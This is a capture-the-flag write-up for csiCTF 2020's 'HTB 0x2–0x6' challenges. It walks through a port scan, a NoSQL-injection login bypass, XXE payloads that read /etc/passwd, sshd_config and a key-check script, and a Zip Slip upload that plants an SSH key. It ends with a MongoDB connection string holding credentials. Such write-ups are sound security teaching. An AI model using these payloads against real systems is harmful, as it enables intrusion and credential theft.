# HTB 0x[2-6]

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# WriteUp来源

https://dunsp4rce.github.io/csictf-2020/linux/2020/07/22/HTB-0x-2-6.html

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## 题目描述

题目考点

### 解题思路

Welcome to the interesting part of the csiCTF, HTB. xD

### *HTB 0x2*

- This is a HackTheBox-like challenge, the server's IP address is given
- Run a simple port scan using nmap

1\$ nmap -sC -sV 34.93.215.188 -Pn

• This reveals the following open ports

1 22/tcp	open	ssh
2 3000/tcp	open	http

- Notice http port 3000
- Visiting <u>http://34.93.215.188:3000/</u>, we see a login form
- Trying SQL Injection (SQLi), nothing happens (although another vulnerability exists XSS)
- Then trying NoSQL Injection, we are logged in successfully

#### Payload

```
1 # Use in POST parameter
2 username[$ne]=f4ke&password[$ne]=f14g
```

- Visiting /robots.txt, we see /admin is disallowed
- Visit /admin and get the flag csictf{n0t\_411\_1nj3ct10n5\_4re\_SQLi} in the source code

#### HTB 0x5

- As seen in write-up <u>HTB 0x2</u>, there is an /admin page
- This page is vulnerable to XML External Entity (XXE) Injection
- The vulnerability can be confirmed by using the XXE detection payload

```
1 <?xml version="1.0" encoding="ISO-8859-1"?>
2 <!DOCTYPE foo [
3 <!ELEMENT foo ANY >
4 <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
5 <foo>&xxe;</foo>
```

```
• We get the /etc/passwd file which contains a GitHub link
```

2...
3...
4...
5 gke-dbbca0b7b97e65e155bf:x:1004:1005::/home/gke-dbbca0b7b97e65e155bf:/bin/bash
6 csictf:x:1005:1006:csictf,csictf,csictf,csictf;/home/csictf:/bin/bash
7 administrator:x:1006:1007:administrator,admin,admin,admin,admin:/home/administrator:/bin/bash
8 https://gist.github.com/sive1/c68f601137ef9063efd7

- The GitHub link is about using a custom ssh configuration, this hints us to check the sshd config file
- Obtain sshd config by exploiting the XXE Injection vulnerability in /admin

#### Payload

```
1 <?xml version="1.0" encoding="ISO-8859-1"?>
2 <!DOCTYPE foo [
3 <!ELEMENT foo ANY >
4 <!ENTITY xxe SYSTEM "file:///etc/ssh/sshd_config" >]>
5 <foo>&xxe;</foo>
```

• Find the flag commented out in the obtained file

1 root:root:x:0:0:root:/root:/bin/bash

```
1 ...
2 # csictf{cu5t0m_4uth0rizat10n}
3 AuthorizedKeysCommand /usr/local/bin/userkeys.sh
4 AuthorizedKeysCommandUser nobody
5 ...
```

### *HTB* 0x3,0x4,0x6

- As seen in write-up <u>HTB 0x5</u>, we get the following contents from the sshd config file.
  - 1 # This is the sshd server system-wide configuration file. See
  - 2 # sshd\_config(5) for more information.
  - 3 # This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
  - 4  $\,\#$  The strategy used for options in the default sshd\_config shipped with
  - 5 # OpenSSH is to specify options with their default value where
  - ${\it 6}$  # possible, but leave them commented. Uncommented options override the
  - 7 # default value.
  - 8 Include /etc/ssh/sshd\_config.d/\*.conf
  - 9 #Port 22
  - 10 #AddressFamily any
  - 11 #ListenAddress 0.0.0.0
  - 12 #ListenAddress ::
  - 13 #HostKey /etc/ssh/ssh host rsa key
  - 14 #HostKey /etc/ssh/ssh\_host\_ecdsa\_key
  - 15 #HostKey /etc/ssh/ssh host ed25519 key
  - 16 # Ciphers and keying
  - 17 #RekeyLimit default none
  - 18 # Logging
  - 19 #SyslogFacility AUTH
  - 20 #LogLevel INFO
  - 21 # Authentication:
  - 22 #LoginGraceTime 2m
  - 23 #PermitRootLogin prohibit-password
  - 24 #StrictModes yes
  - 25 #MaxAuthTries 6
  - 26 #MaxSessions 10
  - 27 #PubkevAuthentication ves
  - 28 # Expect .ssh/authorized\_keys2 to be disregarded by default in future.
  - 29 #AuthorizedKeysFile\t.ssh/authorized\_keys .ssh/authorized\_keys2
  - 30 #AuthorizedPrincipalsFile none
  - 31 # csictf{cu5t0m\_4uth0rizat10n}
  - 32 AuthorizedKeysCommand /usr/local/bin/userkeys.sh
  - 33 AuthorizedKeysCommandUser nobody
  - 34 # For this to work you will also need host keys in /etc/ssh/ssh\_known\_hosts
  - 35 #HostbasedAuthentication no
  - 36 # Change to yes if you don't trust ~/.ssh/known\_hosts for
  - 37 # HostbasedAuthentication
  - 38 #IgnoreUserKnownHosts no
  - 39 # Don't read the user's ~/.rhosts and ~/.shosts files
  - 40 #IgnoreRhosts yes
  - 41 # To disable tunneled clear text passwords, change to no here!
  - 42 PasswordAuthentication no 43 #PermitEmptyPasswords no
  - 44 # Change to yes to enable challenge-response passwords (beware issues with

45 # some PAM modules and threads) 46 ChallengeResponseAuthentication no 47 # Kerberos options 48 #KerberosAuthentication no 49 #KerberosOrLocalPasswd yes 50 #KerberosTicketCleanup yes 51 #KerberosGetAFSToken no 52 # GSSAPI options 53 #GSSAPIAuthentication no 54 #GSSAPICleanupCredentials yes 55 #GSSAPIStrictAcceptorCheck yes 56 #GSSAPIKeyExchange no 57 # Set this to 'yes' to enable PAM authentication, account processing, 58 # and session processing. If this is enabled, PAM authentication will 59 # be allowed through the ChallengeResponseAuthentication and 60 # PasswordAuthentication. Depending on your PAM configuration, 61 # PAM authentication via ChallengeResponseAuthentication may bypass 62 # the setting of \"PermitRootLogin without-password\". 63 # If you just want the PAM account and session checks to run without 64 # PAM authentication, then enable this but set PasswordAuthentication 65 # and ChallengeResponseAuthentication to 'no'. 66 UsePAM yes 67 #AllowAgentForwarding yes 68 #AllowTcpForwarding yes 69 #GatewayPorts no 70 X11Forwarding yes 71 #X11DisplayOffset 10 72 #X11UseLocalhost yes 73 #PermitTTY yes 74 PrintMotd no 75 #PrintLastLog yes 76 #TCPKeepAlive yes 77 #PermitUserEnvironment no 78 #Compression delayed 79 #ClientAliveInterval 0 80 #ClientAliveCountMax 3 81 #UseDNS no 82 #PidFile /var/run/sshd.pid 83 #MaxStartups 10:30:100 84 #PermitTunnel no 85 #ChrootDirectory none 86 #VersionAddendum none 87 # no default banner path 88 #Banner none 89 # Allow client to pass locale environment variables 90 AcceptEnv LANG LC \* 91 # override default of no subsystems 92 Subsystem\tsftp\t/usr/lib/openssh/sftp-server 93 # Example of overriding settings on a per-user basis 94 #Match User anoncvs 95 #\tX11Forwarding no 96 #\tAllowTcpForwarding no 97 #\tPermitTTY no 98 #\tForceCommand cvs server"

Lets focus on AuthorizedKeysCommand right below the previous flag in the config file,

1 #AuthorizedPrincipalsFile none

2 # csictf{cu5t0m\_4uth0rizat10n}

3 AuthorizedKeysCommand /usr/local/bin/userkeys.sh

4 AuthorizedKeysCommandUser nobody

Hmm, seems like they are using a custom check for authorizing the users. Wish we could read what is in the /usr/local/bin/userkeys.sh. Oh yes, we have that xml vulnerability. Lets use that to get the contents of the file.

Using this payload for xml injection,

1<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///usr/local/bin/userkeys.sh'>]><root>&test;</root>

Let's beautify the content,

```
1 #!/bin/bash
2 if [ \"$1\" == \"csictf\" ]; then
3      cat /home/administrator/uploads/keys/*
4 else
5      echo \"\"
6 fi
```

So as per the code, when we try to ssh to the IP, the user we try to ssh into is passed as 1(argument 1) to the sh file. If the user we try to ssh into is csictf (i.e if 1=csictf), then it will check if our public key exists in the list of keys present in /home/administrator/uploads/keys/. All these inferences were drawn by looking into the functioning of ssh.

So our aim is simple, we need to put our public key into the /home/administrator/uploads/key folder. So we go back to the uploading zip file location. The upload function has the Zip Slip Vulnerability

1\$ ssh-keygen -t rsa #filename:my\_key

- 2\$ 7z a zip-slip.zip my\_key.pub
- 3\$ 7z rn zip-slip.zip my\_key.pub '../../../../../../../home/administrator/uploads/keys/dunsp4rce.pub'

So we first generate out private and public keys using the command ssh-keygen -t rsa and name our key file my key.

Next we download the zip-slip.zip from the zip-slip repo mentioned above into the directory which has our keys. Now we append our public key to the zip file using 7z a zip-slip.zip my\_key.pub.

We then rename the file to the folder we want to put our file to(vulnerability) 7z rn zip-slip.zip my\_key.pub '../../../../../../../../../home/administrator/uploads/keys/dunsp4rce.pub. Since all the key are getting searched in /home/administrator/uploads/keys folder, we put our public key there.

You should get {"success":"true"} after uploading the zip to the server. The pub key seems to stay in the server for 5 mins before it gets deleted(cron job), so ssh into server before 5 mins of uploading public key.

Now that the hard part of adding our public key is done, we just have to ssh into csictf user ssh -i my\_key csictf@34.93.37.238 and voila "We are in boissss!",

It's almost cakewalk after this. We find a flag.txt in the home folder of csictf user, csictf {w31c0m3 t0 th3 s3rv3r}

After greping for "csictf" from ~/, I found the flag csictf{exp0s3d\_sec23ts} in /home/administrator/website/models/db.js.

Right below the flag in db.js, we find a mongodb connection url, we connect to that url using, mongo "mongodb://web:9EAC744765EA6F26@34.93.215.188:27017/HTBDB"

Then we check the list of databases available using db command. We find a HTBDB database, switch to it using use HTBDB.

List the collections in the db using show collections. We find three collections: stuff, user, users. We read all the documents in the collection stuff using db.stuff.find(). In one the documents, we find the flag csictf{mOng0\_collect10ns\_yay}

## Flag

- 1 csictf{n0t\_411\_1nj3ct10n5\_4re\_SQLi}
  2 csictf{cu5t0m\_4uthOrizat10n}
  3 csictf{w31c0m3\_t0\_th3\_s3rv3r}
  4 csictf{exp0s3d\_sec23ts}
  5 csictf{m0ng0\_c0llect10ns\_yay}
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